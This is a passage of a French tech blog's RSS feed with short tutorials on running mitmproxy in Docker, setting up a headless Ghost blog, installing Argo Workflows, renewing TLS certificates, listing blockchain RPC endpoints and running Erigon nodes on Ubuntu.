&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;https_proxy=http://localhost:8080/ curl http://example.com/
https_proxy=http://localhost:8080/ curl -k https://example.com/
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;vérification-depuis-un-autre-host-du-bon-fonctionnement-du-proxy&#34;&gt;Vérification depuis un autre host du bon fonctionnement du proxy&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;https_proxy=http://PUBLIC_IP:8080/ curl -k https://example.com/
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Tips très très rapide montrant comment installer Docker et Mitmproxy sur Ubuntu 22.04.</p>
<br/>
<h2 id="installation-de-docker-sur-ubuntu-2204">Installation de Docker sur Ubuntu 22.04</h2>
<pre tabindex="0"><code>sudo apt update
sudo apt install -y ca-certificates curl gnupg lsb-release

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg

echo &#34;deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable&#34; | sudo tee /etc/apt/sources.list.d/docker.list &gt; /dev/null


sudo apt-get update
sudo apt install docker-ce docker-ce-cli containerd.io -y
sudo usermod -aG docker $USER
newgrp docker
</code></pre><br/>
<h2 id="vérification-de-linstallation-de-docker">Vérification de l&rsquo;installation de Docker</h2>
<pre tabindex="0"><code>docker version
</code></pre><br/>
<h2 id="démarrage-du-proxy-mitm-sur-vm-distante">Démarrage du proxy mitm sur VM distante</h2>
<pre tabindex="0"><code>tmux
docker run --rm -it -v ~/.mitmproxy:/home/mitmproxy/.mitmproxy -p 8080:8080 mitmproxy/mitmproxy
# ou mieux, binding sur machine locale:
docker run --rm -it -v ~/.mitmproxy:/home/mitmproxy/.mitmproxy -p 127.0.0.1:8080:8080 mitmproxy/mitmproxy
</code></pre><br/>
<h2 id="vérification-du-bon-fonctionnement-de-votre-proxy-sur-vm-distante">Vérification du bon fonctionnement de votre proxy sur VM distante</h2>
<pre tabindex="0"><code>https_proxy=http://localhost:8080/ curl http://example.com/
https_proxy=http://localhost:8080/ curl -k https://example.com/
</code></pre><br/>
<h2 id="vérification-depuis-un-autre-host-du-bon-fonctionnement-du-proxy">Vérification depuis un autre host du bon fonctionnement du proxy</h2>
<pre tabindex="0"><code>https_proxy=http://PUBLIC_IP:8080/ curl -k https://example.com/
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Blog headless avec édition de contenu sur Ghost app</title>
            <link>https://leandeep.com/blog-headless-avec-%C3%A9dition-de-contenu-sur-ghost-app/</link>
            <pubDate>Sun, 31 Jul 2022 21:13:00 +0000</pubDate>
            
            <guid>https://leandeep.com/blog-headless-avec-%C3%A9dition-de-contenu-sur-ghost-app/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article, nous allons voir comment créer un blog headless à partir de Ghost en moins de 5 minutes. Des bonnes performances (pas de rendering nécessaire), pas besoin de serveur payant (juste un hosting de static content) et on garde la simplicité d&amp;rsquo;édition (authoring) via Ghost.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installer-ghost&#34;&gt;Installer Ghost&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;npm install ghost-cli@latest -g
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;démarrercréer-un-blog-ghost&#34;&gt;Démarrer/créer un blog ghost&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ghost install local
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;nouveau-thème&#34;&gt;Nouveau thème&lt;/h2&gt;
&lt;p&gt;Télécharger le fichier zip contenant un thème custom: &lt;a href=&#34;https://github.com/eddiesigner/liebling/releases&#34;&gt;https://github.com/eddiesigner/liebling/releases&lt;/a&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article, nous allons voir comment créer un blog headless à partir de Ghost en moins de 5 minutes. Des bonnes performances (pas de rendering nécessaire), pas besoin de serveur payant (juste un hosting de static content) et on garde la simplicité d&rsquo;édition (authoring) via Ghost.</p>
<br/>
<h2 id="installer-ghost">Installer Ghost</h2>
<pre tabindex="0"><code>npm install ghost-cli@latest -g
</code></pre><br/>
<h2 id="démarrercréer-un-blog-ghost">Démarrer/créer un blog ghost</h2>
<pre tabindex="0"><code>ghost install local
</code></pre><br/>
<h2 id="nouveau-thème">Nouveau thème</h2>
<p>Télécharger le fichier zip contenant un thème custom: <a href="https://github.com/eddiesigner/liebling/releases">https://github.com/eddiesigner/liebling/releases</a></p>
<blockquote>
<p><a href="https://liebling.eduardogomez.io/">Démo de ce thème</a></p></blockquote>
<p>Puis uploader le zip sur l&rsquo;interface admin du blog http://127.0.0.1:2368/ghost et activer le nouveau thème.</p>
<br/>
<h2 id="générer-un-site-statique">Générer un site statique</h2>
<p>Installer <a href="https://github.com/Fried-Chicken/ghost-static-site-generator">ce package</a>:</p>
<pre tabindex="0"><code>npm install -g ghost-static-site-generator
</code></pre><p>Puis générer le contenu statique en exécutant la commande suivante depuis le dossier root du blog:</p>
<pre tabindex="0"><code>gssg
</code></pre><br/>
<h2 id="test">Test</h2>
<p>Test du site statique <a href="https://www.npmjs.com/package/http-server">via le package</a></p>
<pre tabindex="0"><code>cd static/
http-server .
</code></pre><br/>
<p>Résultat pour un blog sur la micronutrition perso réalisé en 12 minutes (5 minutes de création de blog et 7 minutes pour écrire ce petit article):
<img src="/images/headless-blog-ghost.png" alt="image"></p>
<br/>
<h2 id="démarrer-un-blog-arrêté-existant">Démarrer un blog (arrêté) existant</h2>
<pre tabindex="0"><code>ghost start
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer Argo workflow sur OSX</title>
            <link>https://leandeep.com/installer-argo-workflow-sur-osx/</link>
            <pubDate>Tue, 26 Jul 2022 22:13:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-argo-workflow-sur-osx/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article, nous allons voir comment installer Argo workflow localement sur OSX. Il s&amp;rsquo;agit d&amp;rsquo;une installation très simple utilisant Docker-desktop et Kubernetes. Cette installation n&amp;rsquo;est pas recommandée pour de la production. Elle permet de tester et d&amp;rsquo;évaluer l&amp;rsquo;outil ou de simplement créer/développer des workflows depuis votre poste local.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installer-argo-cli&#34;&gt;Installer Argo Cli&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;curl -sLO https://github.com/argoproj/argo-workflows/releases/download/v3.2.6/argo-darwin-amd64.gz
gunzip argo-darwin-amd64.gz
chmod +x argo-darwin-amd64
mv ./argo-darwin-amd64 /usr/local/bin/argo
argo version
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;déploiement-dargo-sur-k8s&#34;&gt;Déploiement d&amp;rsquo;Argo sur k8s&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;kubectl create ns argo
kubectl apply -n argo -f https://raw.githubusercontent.com/argoproj/argo/stable/manifests/quick-start-postgres.yaml
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;accès-linterface&#34;&gt;Accès l&amp;rsquo;interface&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;kubectl -n argo port-forward deployment/argo-server 2746:2746
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;déploiement-dun-worklow-de-test&#34;&gt;Déploiement d&amp;rsquo;un worklow de test&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;argo submit -n argo --watch https://raw.githubusercontent.com/argoproj/argo/master/examples/hello-world.yaml
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;debugging&#34;&gt;Debugging&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;argo list -n argo
argo get -n argo @latest
argo logs -n argo @latest
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article, nous allons voir comment installer Argo workflow localement sur OSX. Il s&rsquo;agit d&rsquo;une installation très simple utilisant Docker-desktop et Kubernetes. Cette installation n&rsquo;est pas recommandée pour de la production. Elle permet de tester et d&rsquo;évaluer l&rsquo;outil ou de simplement créer/développer des workflows depuis votre poste local.</p>
<br/>
<h2 id="installer-argo-cli">Installer Argo Cli</h2>
<pre tabindex="0"><code>curl -sLO https://github.com/argoproj/argo-workflows/releases/download/v3.2.6/argo-darwin-amd64.gz
gunzip argo-darwin-amd64.gz
chmod +x argo-darwin-amd64
mv ./argo-darwin-amd64 /usr/local/bin/argo
argo version
</code></pre><br/>
<h2 id="déploiement-dargo-sur-k8s">Déploiement d&rsquo;Argo sur k8s</h2>
<pre tabindex="0"><code>kubectl create ns argo
kubectl apply -n argo -f https://raw.githubusercontent.com/argoproj/argo/stable/manifests/quick-start-postgres.yaml
</code></pre><br/>
<h2 id="accès-linterface">Accès l&rsquo;interface</h2>
<pre tabindex="0"><code>kubectl -n argo port-forward deployment/argo-server 2746:2746
</code></pre><br/>
<h2 id="déploiement-dun-worklow-de-test">Déploiement d&rsquo;un worklow de test</h2>
<pre tabindex="0"><code>argo submit -n argo --watch https://raw.githubusercontent.com/argoproj/argo/master/examples/hello-world.yaml
</code></pre><br/>
<h2 id="debugging">Debugging</h2>
<pre tabindex="0"><code>argo list -n argo
argo get -n argo @latest
argo logs -n argo @latest
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Renouveler son TLS cert</title>
            <link>https://leandeep.com/renouveler-son-tls-cert/</link>
            <pubDate>Tue, 26 Jul 2022 22:13:00 +0000</pubDate>
            
            <guid>https://leandeep.com/renouveler-son-tls-cert/</guid>
            <description>&lt;h2 id=&#34;vérifier-la-validité-dun-certificat-depuis-le-fichier-crt&#34;&gt;Vérifier la validité d&amp;rsquo;un certificat depuis le fichier CRT&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;openssl x509 -enddate -noout -in server.crt
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;vérifier-la-date-de-validité-dun-service-distant&#34;&gt;Vérifier la date de validité d&amp;rsquo;un service distant&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;openssl s_client -servername www.leandeep.com -connect www.leandeep.com:443
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;renouveler-le-csr-à-partir-de-la-clé-privée&#34;&gt;Renouveler le CSR à partir de la clé privée&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;csr&lt;/code&gt; pour &lt;code&gt;Certificate Signing Request&lt;/code&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;openssl req -new -key star_leandeep_com-private-key.key -out csr.txt
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<h2 id="vérifier-la-validité-dun-certificat-depuis-le-fichier-crt">Vérifier la validité d&rsquo;un certificat depuis le fichier CRT</h2>
<pre tabindex="0"><code>openssl x509 -enddate -noout -in server.crt
</code></pre><br/>
<h2 id="vérifier-la-date-de-validité-dun-service-distant">Vérifier la date de validité d&rsquo;un service distant</h2>
<pre tabindex="0"><code>openssl s_client -servername www.leandeep.com -connect www.leandeep.com:443
</code></pre><br/>
<h2 id="renouveler-le-csr-à-partir-de-la-clé-privée">Renouveler le CSR à partir de la clé privée</h2>
<blockquote>
<p><code>csr</code> pour <code>Certificate Signing Request</code></p></blockquote>
<pre tabindex="0"><code>openssl req -new -key star_leandeep_com-private-key.key -out csr.txt
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Autres Blockchains et RPC nodes</title>
            <link>https://leandeep.com/autres-blockchains-et-rpc-nodes/</link>
            <pubDate>Fri, 15 Jul 2022 09:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/autres-blockchains-et-rpc-nodes/</guid>
            <description>&lt;ul&gt;
&lt;li&gt;Algorand&lt;/li&gt;
&lt;li&gt;Aurora&lt;/li&gt;
&lt;li&gt;Cronos&lt;/li&gt;
&lt;li&gt;KuCoin&lt;/li&gt;
&lt;li&gt;Near&lt;/li&gt;
&lt;li&gt;IoTeX&lt;/li&gt;
&lt;li&gt;Tezos&lt;/li&gt;
&lt;li&gt;Theta (soon)&lt;/li&gt;
&lt;li&gt;TomoChain&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;algorand&#34;&gt;Algorand&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Providers&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pocket Network - &lt;a href=&#34;https://mainnet.portal.pokt.network&#34;&gt;https://mainnet.portal.pokt.network&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Quicknode - &lt;a href=&#34;https://www.quicknode.com/&#34;&gt;https://www.quicknode.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Own node&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.algorand.org/docs/run-a-node/setup/install/&#34;&gt;https://developer.algorand.org/docs/run-a-node/setup/install/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;aurora&#34;&gt;Aurora&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Providers&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Infura - &lt;a href=&#34;https://infura.io&#34;&gt;https://infura.io&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Public Endpoints&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://mainnet.aurora.dev&#34;&gt;https://mainnet.aurora.dev&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Own node&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://doc.aurora.dev/#running-your-own-aurora-node&#34;&gt;https://doc.aurora.dev/#running-your-own-aurora-node&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;cronos&#34;&gt;Cronos&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Public Endpoints&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://rpc.artemisone.org/cronos&#34;&gt;https://rpc.artemisone.org/cronos&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://evm.cronos.org/&#34;&gt;https://evm.cronos.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://rpc.vvs.finance/&#34;&gt;https://rpc.vvs.finance/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://rpc.crodex.app/&#34;&gt;https://rpc.crodex.app/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://mmf-rpc.xstaking.sg&#34;&gt;https://mmf-rpc.xstaking.sg&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://gateway.nebkas.ro/&#34;&gt;https://gateway.nebkas.ro/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Chain Id&lt;/strong&gt;
25&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Currency&lt;/strong&gt;
CRO&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Explorer&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://cronos.org/explorer/&#34;&gt;https://cronos.org/explorer/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;kucoin&#34;&gt;KuCoin&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Public Endpoints&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://rpc-mainnet.kcc.network/&#34;&gt;https://rpc-mainnet.kcc.network/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Own node&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://docs.kcc.io/#/en-us/?id=node&#34;&gt;https://docs.kcc.io/#/en-us/?id=node&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;near&#34;&gt;Near&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Providers&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ANKR - &lt;a href=&#34;https://ankr.com&#34;&gt;https://ankr.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Infura - &lt;a href=&#34;https://infura.io&#34;&gt;https://infura.io&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Public Endpoints&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<ul>
<li>Algorand</li>
<li>Aurora</li>
<li>Cronos</li>
<li>KuCoin</li>
<li>Near</li>
<li>IoTeX</li>
<li>Tezos</li>
<li>Theta (soon)</li>
<li>TomoChain</li>
</ul>
<br/>
<h2 id="algorand">Algorand</h2>
<p><strong>Providers</strong></p>
<ul>
<li>Pocket Network - <a href="https://mainnet.portal.pokt.network">https://mainnet.portal.pokt.network</a></li>
<li>Quicknode - <a href="https://www.quicknode.com/">https://www.quicknode.com/</a></li>
</ul>
<br/>
<p><strong>Own node</strong></p>
<ul>
<li><a href="https://developer.algorand.org/docs/run-a-node/setup/install/">https://developer.algorand.org/docs/run-a-node/setup/install/</a></li>
</ul>
<br/>
<h2 id="aurora">Aurora</h2>
<p><strong>Providers</strong></p>
<ul>
<li>Infura - <a href="https://infura.io">https://infura.io</a></li>
</ul>
<br/>
<p><strong>Public Endpoints</strong></p>
<ul>
<li><a href="https://mainnet.aurora.dev">https://mainnet.aurora.dev</a></li>
</ul>
<br/>
<p><strong>Own node</strong></p>
<ul>
<li><a href="https://doc.aurora.dev/#running-your-own-aurora-node">https://doc.aurora.dev/#running-your-own-aurora-node</a></li>
</ul>
<br/>
<h2 id="cronos">Cronos</h2>
<p><strong>Public Endpoints</strong></p>
<ul>
<li><a href="https://rpc.artemisone.org/cronos">https://rpc.artemisone.org/cronos</a></li>
<li><a href="https://evm.cronos.org/">https://evm.cronos.org/</a></li>
<li><a href="https://rpc.vvs.finance/">https://rpc.vvs.finance/</a></li>
<li><a href="https://rpc.crodex.app/">https://rpc.crodex.app/</a></li>
<li><a href="https://mmf-rpc.xstaking.sg">https://mmf-rpc.xstaking.sg</a></li>
<li><a href="https://gateway.nebkas.ro/">https://gateway.nebkas.ro/</a></li>
</ul>
<br/>
<p><strong>Chain Id</strong>
25</p>
<br/>
<p><strong>Currency</strong>
CRO</p>
<br/>
<p><strong>Explorer</strong></p>
<ul>
<li><a href="https://cronos.org/explorer/">https://cronos.org/explorer/</a></li>
</ul>
<br/>
<h2 id="kucoin">KuCoin</h2>
<p><strong>Public Endpoints</strong></p>
<ul>
<li><a href="https://rpc-mainnet.kcc.network/">https://rpc-mainnet.kcc.network/</a></li>
</ul>
<br/>
<p><strong>Own node</strong></p>
<ul>
<li><a href="https://docs.kcc.io/#/en-us/?id=node">https://docs.kcc.io/#/en-us/?id=node</a></li>
</ul>
<br/>
<h2 id="near">Near</h2>
<p><strong>Providers</strong></p>
<ul>
<li>ANKR - <a href="https://ankr.com">https://ankr.com</a></li>
<li>Infura - <a href="https://infura.io">https://infura.io</a></li>
</ul>
<br/>
<p><strong>Public Endpoints</strong></p>
<ul>
<li><a href="https://rpc.ankr.com/near">https://rpc.ankr.com/near</a></li>
<li><a href="https://near.public-rpc.com">https://near.public-rpc.com</a></li>
</ul>
<br/>
<p><strong>Own node</strong></p>
<ul>
<li><a href="https://near-nodes.io/rpc/hardware-rpc#recommended-hardware-specifications">https://near-nodes.io/rpc/hardware-rpc#recommended-hardware-specifications</a></li>
</ul>
<br/>
<h2 id="iotex">IoTeX</h2>
<p><strong>Providers</strong></p>
<ul>
<li>Pocket Network - <a href="https://mainnet.portal.pokt.network">https://mainnet.portal.pokt.network</a></li>
<li>ANKR - <a href="https://ankr.com">https://ankr.com</a></li>
</ul>
<br/>
<p><strong>Public Endpoints</strong></p>
<ul>
<li><a href="https://iotex-mainnet.gateway.pokt.network/v1/lb/6176f902e19001003499f492">https://iotex-mainnet.gateway.pokt.network/v1/lb/6176f902e19001003499f492</a></li>
<li><a href="https://rpc.ankr.com/iotex">https://rpc.ankr.com/iotex</a></li>
<li><a href="https://iotexrpc.com">https://iotexrpc.com</a></li>
</ul>
<br/>
<p><strong>Own node</strong></p>
<ul>
<li><a href="https://github.com/iotexproject/iotex-bootstrap">https://github.com/iotexproject/iotex-bootstrap</a></li>
</ul>
<br/>
<h2 id="tezos">Tezos</h2>
<p><strong>Providers</strong></p>
<ul>
<li>Chainstack - <a href="https://chainstack.com/build-better-with-tezos/">https://chainstack.com/build-better-with-tezos/</a></li>
</ul>
<br/>
<p><strong>Public Endpoints</strong></p>
<ul>
<li><a href="https://mainnet.api.tez.ie">https://mainnet.api.tez.ie</a></li>
<li><a href="https://rpc.tzbeta.net/">https://rpc.tzbeta.net/</a></li>
</ul>
<br/>
<p><strong>Own node</strong></p>
<ul>
<li><a href="https://opentezos.com/deploy-a-node">https://opentezos.com/deploy-a-node</a></li>
</ul>
<br/>
<h2 id="tomochain">TomoChain</h2>
<p><strong>Public Endpoints</strong></p>
<ul>
<li><a href="https://rpc.tomochain.com">https://rpc.tomochain.com</a></li>
</ul>
<br/>
<p><strong>Websocket</strong></p>
<ul>
<li>wss://ws.tomochain.com</li>
</ul>
<br/>
<p><strong>Own node</strong></p>
<ul>
<li><a href="https://docs.tomochain.com/masternode-and-dex/masternode">https://docs.tomochain.com/masternode-and-dex/masternode</a></li>
</ul>
<br/>
]]></content>
        </item>
        
        <item>
            <title>Utiliser Erigon pour ses Nodes sur Ubuntu 20.04</title>
            <link>https://leandeep.com/utiliser-erigon-pour-ses-nodes-sur-ubuntu-20.04/</link>
            <pubDate>Tue, 12 Jul 2022 21:03:00 +0000</pubDate>
            
            <guid>https://leandeep.com/utiliser-erigon-pour-ses-nodes-sur-ubuntu-20.04/</guid>
            <description>&lt;h2 id=&#34;installation-go&#34;&gt;Installation Go&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;wget https://dl.google.com/go/go1.18.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.18.linux-amd64.tar.gz
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Editer &lt;code&gt;~/.profile&lt;/code&gt; et ajouter les commandes suivantes&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;export PATH=$PATH:/usr/local/go/bin
export GOPATH=&amp;#34;${HOME}/.go/bin&amp;#34;
export PATH=$GOPATH:$PATH
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;source ~/.profile
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;go version
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;installation-erigon&#34;&gt;Installation Erigon&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cd /data/
git clone --recurse-submodules -j8 https://github.com/ledgerwatch/erigon.git
cd erigon
make erigon
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;run&#34;&gt;Run&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Polygon&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mkdir /data/bor-mainnet
./build/bin/erigon --datadir=&amp;#34;/data/bor-mainnet&amp;#34; --chain=bor-mainnet --port=30303 --http.port=8545 --torrent.port=42069 --private.api.addr=127.0.0.1:9090 --http --ws --http.api=eth,debug,net,trace,web3,erigon
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;BSC&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Archive Node:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mkdir /data/bsc
./build/bin/erigon --datadir=&amp;#34;/data/bsc&amp;#34; --chain=bsc --port=30303 --http.port=8545 --torrent.port=42069 --private.api.addr=127.0.0.1:9090 --http --ws --http.api=eth,debug,net,trace,web3,erigon
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Pruned Node:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="installation-go">Installation Go</h2>
<pre tabindex="0"><code>wget https://dl.google.com/go/go1.18.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.18.linux-amd64.tar.gz
</code></pre><p>Editer <code>~/.profile</code> et ajouter les commandes suivantes</p>
<pre tabindex="0"><code>export PATH=$PATH:/usr/local/go/bin
export GOPATH=&#34;${HOME}/.go/bin&#34;
export PATH=$GOPATH:$PATH
</code></pre><pre tabindex="0"><code>source ~/.profile
</code></pre><pre tabindex="0"><code>go version
</code></pre><br/>
<h2 id="installation-erigon">Installation Erigon</h2>
<pre tabindex="0"><code>cd /data/
git clone --recurse-submodules -j8 https://github.com/ledgerwatch/erigon.git
cd erigon
make erigon
</code></pre><br/>
<h2 id="run">Run</h2>
<p><strong>Polygon</strong></p>
<pre tabindex="0"><code>mkdir /data/bor-mainnet
./build/bin/erigon --datadir=&#34;/data/bor-mainnet&#34; --chain=bor-mainnet --port=30303 --http.port=8545 --torrent.port=42069 --private.api.addr=127.0.0.1:9090 --http --ws --http.api=eth,debug,net,trace,web3,erigon
</code></pre><br/>
<p><strong>BSC</strong></p>
<p>Archive Node:</p>
<pre tabindex="0"><code>mkdir /data/bsc
./build/bin/erigon --datadir=&#34;/data/bsc&#34; --chain=bsc --port=30303 --http.port=8545 --torrent.port=42069 --private.api.addr=127.0.0.1:9090 --http --ws --http.api=eth,debug,net,trace,web3,erigon
</code></pre><br/>
<p>Pruned Node:</p>
<pre tabindex="0"><code>./build/bin/erigon --datadir=&#34;/data/bsc-prune&#34; --chain=bsc --port=30303 --http.port=8545 --torrent.port=42069 --private.api.addr=127.0.0.1:9090 --http --ws --http.api=eth,debug,net,trace,web3,erigon --prune.h.older=90_000

# Or

./build/bin/erigon --datadir=&#34;/data/bsc-prune&#34; --chain=bsc --port=30303 --http.port=8545 --torrent.port=42069 --private.api.addr=127.0.0.1:9090 --http --ws --http.api=eth,debug,net,trace,web3,erigon --prune.r.before=11184524 --prune htc
</code></pre><br/>
<p><strong>Service BNB Smart Chain</strong></p>
<p>Exécuter la commande suivante <code>sudo systemctl edit --force --full erigon-bsc-pruned-mainnet.service</code> pour créer un nouveau systemctl unit puis ajouter le contenu suivant (à titre d&rsquo;example):</p>
<pre tabindex="0"><code>[Unit]
Description=Erigon BSC Pruned mainnet daemon
Wants=network-online.target
After=network-online.target

[Service]
Type=simple
Restart=always
RestartSec=5
ExecStart=/home/olivier/Dev/erigon/build/bin/erigon --datadir=&#34;/data/bsc-prune&#34; --chain=bsc --port=30303 --http.port=8545 --torrent.port=42069 --private.api.addr=127.0.0.1:9090 --http --ws --http.api=eth,debug,net,trace,web3,erigon --prune.r.before=11184524 --prune htc

[Install]
WantedBy=multi-user.target
</code></pre><br/>
<p>Activer le service via les commandes:</p>
<pre tabindex="0"><code>sudo systemctl enable erigon-bsc-pruned-mainnet.service
sudo systemctl start erigon-bsc-pruned-mainnet.service
sudo systemctl status erigon-bsc-pruned-mainnet.service
</code></pre><br/>
<p>Pour voir les logs il suffit d&rsquo;exécuter la commande suivante <code>journalctl -fu erigon-bsc-pruned-mainnet</code>.</p>
<br/>
<p><strong>Ethereum</strong></p>
<pre tabindex="0"><code>mkdir /data/ethereum
./build/bin/erigon --datadir=&#34;data/ethereum&#34; --chain=mainnet --port=30303 --http.port=8545 --torrent.port=42069 --private.api.addr=127.0.0.1:9090 --http --ws --http.api=eth,debug,net,trace,web3,erigon
</code></pre><br/>
<h2 id="exploitation">Exploitation</h2>
<p>Tout est écrit dans cette documentation: <a href="https://pkg.go.dev/github.com/ledgerwatch/erigon/cmd/rpcdaemon#section-readme">RPC Daemon</a></p>
]]></content>
        </item>
        
        <item>
            <title>Installer ZeroTier sur Ubuntu 20.04</title>
            <link>https://leandeep.com/installer-zerotier-sur-ubuntu-20.04/</link>
            <pubDate>Tue, 12 Jul 2022 20:25:00 +0000</pubDate>
            
